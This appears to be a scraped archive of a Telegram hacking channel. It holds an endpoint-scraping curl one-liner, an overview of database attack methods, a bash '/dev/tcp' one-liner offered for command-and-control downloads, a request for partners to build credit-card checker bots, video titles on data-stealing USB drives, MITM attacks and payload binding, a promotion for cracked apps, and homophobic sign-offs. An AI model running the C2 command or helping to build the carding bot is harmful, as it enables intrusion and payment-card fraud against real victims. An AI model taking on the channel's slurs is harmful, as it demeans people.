INDCRYPT
Open in Telegram
No data
Subscribers
-1224 hours
-197 days
+430 days
Posts Archive
A useful one-liner that extracts all API endpoints from AngularJS and Angular JavaScript files.
curl -s URL | grep -Po "(\/)((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)*((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)((?:[a-zA-Z\-_\/\:\.0-9\{\}]+))" | sort -uDifferent methods for Database hacking
Database contains mission critical data of the corporate firm, which makes it an obvious target by hackers.
Password guessing – Once the hacker gains control of web server, he looks for the application configuration files which typically contain the database server name, userid and password to access it. If the file is encrypted or if the information is hard-coded in the code for security reasons, hacker is left with an option to guess the password. It is found to be a common thing to leave the database system administrators account name unchanged, which solves half of hackers’ problem. In most cases the username and password are kept the same, if not, hacker can use guess work, or brute force method to gain access to the database. Depending upon the access level granted to the user, hacker gains control and is capable of doing further damage.
Packet sniffing – Modern hackers gain control of the network in which the database server is hosted, and deploy a sniffer to capture packets flowing to and from the database server. These packets are then analyzed to decipher username and password combinations and the real target is to get this information for root database administrator.
Query string manipulation – When a web server gets a request from a browser, it receives it in the form of a web url containing a query string parameter which directs the web application to database to fetch the requested data. If the application developer is not security aware, and not following best coding practices, this simple method of fetching data can lead to opening up loopholes. For example, if a list of doctors is being asked for on an insurance website, the code must ensure that a blank value in the zip code field should not be allowed. Doing so, the hacker can run a query and fetch entire data which he may not have access to, in ideal scenario.
Privilege elevation – As mentioned earlier, database servers use roles and rules to control access of a user to a particular database or a table or resource in general. An attacker usually inject scripts which try to find out most generous level of privileges and upon finding one, uses it to create further damage. Few FOSS database servers such as MangoDB, were found to be victim of these bugs which were eventually fixed.
Vulnerability exploitation – Like operating systems, even the database servers do have bugs resulting into serious vulnerabilities. Attackers can explore and exploit those either through the web layer, or by injecting a Trojan in the system dedicated for this purpose. Hackers are always looking for unpatched database system for this purpose.
SQL Injection – This attack is not a pure database attack, but in fact a combination of database and web vulnerability. It’s a very well known type, in which an attacker uses webpages to plant the attack. It is done by including parts of SQL query statements in the web form, which is usually to be filled up by web user with relevant information. If the web page is not capable of handling this situation in a secure manner, it ends up sending this bogus request to the database. The attacker can simply run a select query to dump the entire database on his machine by this method, which makes it a favorite of hackers and hence dangerous from firm’s security standpoint.
Database DoS – As a typical denial of service attack, the attacker plants a code either on the web server or the database server itself, which sends requests to the database in order to overwhelm it. For example, the queries can be either at application layer to dump database contents in a loop, or at TCP layer, it can be a SYN packet storm. The end result is, the database gives up at one point and stops responding to the queries, thus resulting into a complete website or application failure.
Don’t forget the reactions and stars⭐️!
They fuel my energy to post such contents🔋✨.
@hacking_vidhya
Anyone wanna work together to build something similar to Raven or CardSavvy CC Checker Bots?
Atleast you should have understanding related to encryption algorithms;
Dm @LuminaryFtw
1 liner bash for C2 without using any native program like wget, nc etc, esp containers.
bash-c "exec 3<>/dev/tcp/IP/80; echo -e GET/ youfile.sh HTTP/1.1\r\nHost; ip\r\nConnection: close\r\n\r\n' >&3; cat <&3-> yourfile.sh'
Don’t forget the reactions and stars⭐️!
They fuel my energy to post such contents🔋✨.
@hacking_vidhya
💎 Title :- How to create data stealing USB drive
💀 Language :- English
🌎 Subtitles :- Yes
━━━━━━━━━━━━━━━━━━━━━━
📌 𝗣𝗶𝗻 𝗼𝘂𝗿 𝗰𝗵𝗮𝗻𝗻𝗲𝗹 𝗴𝗲𝘁 𝗮𝗹𝘄𝗮𝘆𝘀 𝗶𝗻𝘀𝘁𝗮𝗻𝘁 𝘂𝗽𝗱𝗮𝘁𝗲 👨💻
━━━━━━━━━━━━━━━━━━━━━━━
Share with proper credit else gay🔹 𝐒𝐡𝐚𝐫𝐞 & 𝐒𝐮𝐩𝐩𝐨𝐫𝐭 𝐔𝐬 🔹 📱 𝐂𝐡𝐚𝐧𝐧𝐞𝐥 : 𝐜𝐥𝐢𝐜𝐤 𝐡𝐞𝐫𝐞 𝐆𝐈𝐕𝐄 𝐑𝐄𝐀𝐂𝐓𝐈𝐎𝐍𝐒 𝐅𝐎𝐑 𝐌𝐎𝐑𝐄 𝐒𝐔𝐂𝐇 𝐂𝐎𝐍𝐓𝐄𝐍𝐓𝐒 🎁
Cloud Forensics
━━━━━━━━━━━━━━━━━━━━━━
📌 𝗣𝗶𝗻 𝗼𝘂𝗿 𝗰𝗵𝗮𝗻𝗻𝗲𝗹 𝗴𝗲𝘁 𝗮𝗹𝘄𝗮𝘆𝘀 𝗶𝗻𝘀𝘁𝗮𝗻𝘁 𝘂𝗽𝗱𝗮𝘁𝗲 👨💻
━━━━━━━━━━━━━━━━━━━━━━━
Share with proper credit else gay🔹 𝐒𝐡𝐚𝐫𝐞 & 𝐒𝐮𝐩𝐩𝐨𝐫𝐭 𝐔𝐬 🔹 📱 𝐂𝐡𝐚𝐧𝐧𝐞𝐥 : 𝐜𝐥𝐢𝐜𝐤 𝐡𝐞𝐫𝐞 𝐆𝐈𝐕𝐄 𝐑𝐄𝐀𝐂𝐓𝐈𝐎𝐍𝐒 𝐅𝐎𝐑 𝐌𝐎𝐑𝐄 𝐒𝐔𝐂𝐇 𝐂𝐎𝐍𝐓𝐄𝐍𝐓𝐒 🎁
How To | Perform MITM Attack with Ettercap URLSnarf Driftnet
━━━━━━━━━━━━━━━━━━━━━━
📌 𝗣𝗶𝗻 𝗼𝘂𝗿 𝗰𝗵𝗮𝗻𝗻𝗲𝗹 𝗴𝗲𝘁 𝗮𝗹𝘄𝗮𝘆𝘀 𝗶𝗻𝘀𝘁𝗮𝗻𝘁 𝘂𝗽𝗱𝗮𝘁𝗲 👨💻
━━━━━━━━━━━━━━━━━━━━━━━
Share with proper credit else gay🔹 𝐒𝐡𝐚𝐫𝐞 & 𝐒𝐮𝐩𝐩𝐨𝐫𝐭 𝐔𝐬 🔹 📱 𝐂𝐡𝐚𝐧𝐧𝐞𝐥 : 𝐜𝐥𝐢𝐜𝐤 𝐡𝐞𝐫𝐞 𝐆𝐈𝐕𝐄 𝐑𝐄𝐀𝐂𝐓𝐈𝐎𝐍𝐒 𝐅𝐎𝐑 𝐌𝐎𝐑𝐄 𝐒𝐔𝐂𝐇 𝐂𝐎𝐍𝐓𝐄𝐍𝐓𝐒 🎁
🚀 ＣＲΔＣＫΞＤ ＷΘＲＬＤ 🔥
🔓 Unlock the Impossible | No Limits
💀 Premium Apps | Modded & Cracked
⚡ Power, Speed & Ultimate Access
🔗 Stay Hidden | Stay Unstoppable
⚠️ Only for Educational Purposes ⚠️
Join now :- click here
Hacking Minutes | Kali Linux Creating Payload, Binding to Image Tutorial
━━━━━━━━━━━━━━━━━━━━━━
📌 𝗣𝗶𝗻 𝗼𝘂𝗿 𝗰𝗵𝗮𝗻𝗻𝗲𝗹 𝗴𝗲𝘁 𝗮𝗹𝘄𝗮𝘆𝘀 𝗶𝗻𝘀𝘁𝗮𝗻𝘁 𝘂𝗽𝗱𝗮𝘁𝗲 👨💻
━━━━━━━━━━━━━━━━━━━━━━━
Share with proper credit else gay🔹 𝐒𝐡𝐚𝐫𝐞 & 𝐒𝐮𝐩𝐩𝐨𝐫𝐭 𝐔𝐬 🔹 📱 𝐂𝐡𝐚𝐧𝐧𝐞𝐥 : 𝐜𝐥𝐢𝐜𝐤 𝐡𝐞𝐫𝐞 𝐆𝐈𝐕𝐄 𝐑𝐄𝐀𝐂𝐓𝐈𝐎𝐍𝐒 𝐅𝐎𝐑 𝐌𝐎𝐑𝐄 𝐒𝐔𝐂𝐇 𝐂𝐎𝐍𝐓𝐄𝐍𝐓𝐒 🎁
Hacking Minutes | Kali Linux Fast Cracking Wifi Password Tutorial
━━━━━━━━━━━━━━━━━━━━━━
📌 𝗣𝗶𝗻 𝗼𝘂𝗿 𝗰𝗵𝗮𝗻𝗻𝗲𝗹 𝗴𝗲𝘁 𝗮𝗹𝘄𝗮𝘆𝘀 𝗶𝗻𝘀𝘁𝗮𝗻𝘁 𝘂𝗽𝗱𝗮𝘁𝗲 👨💻
━━━━━━━━━━━━━━━━━━━━━━━
Share with proper credit else gay🔹 𝐒𝐡𝐚𝐫𝐞 & 𝐒𝐮𝐩𝐩𝐨𝐫𝐭 𝐔𝐬 🔹 📱 𝐂𝐡𝐚𝐧𝐧𝐞𝐥 : 𝐜𝐥𝐢𝐜𝐤 𝐡𝐞𝐫𝐞 𝐆𝐈𝐕𝐄 𝐑𝐄𝐀𝐂𝐓𝐈𝐎𝐍𝐒 𝐅𝐎𝐑 𝐌𝐎𝐑𝐄 𝐒𝐔𝐂𝐇 𝐂𝐎𝐍𝐓𝐄𝐍𝐓𝐒 🎁
Chhatrapati Shivaji Maharaj Jayanti
On this day, we remember the great visionary, fearless warrior, and the protector of the people — Chhatrapati Shivaji Maharaj. His courage, wisdom, and unwavering commitment to justice inspire generations. Let's honor his legacy and continue his fight for righteousness. Jai Bhavani! Jai Shivaji! 🙏🏼
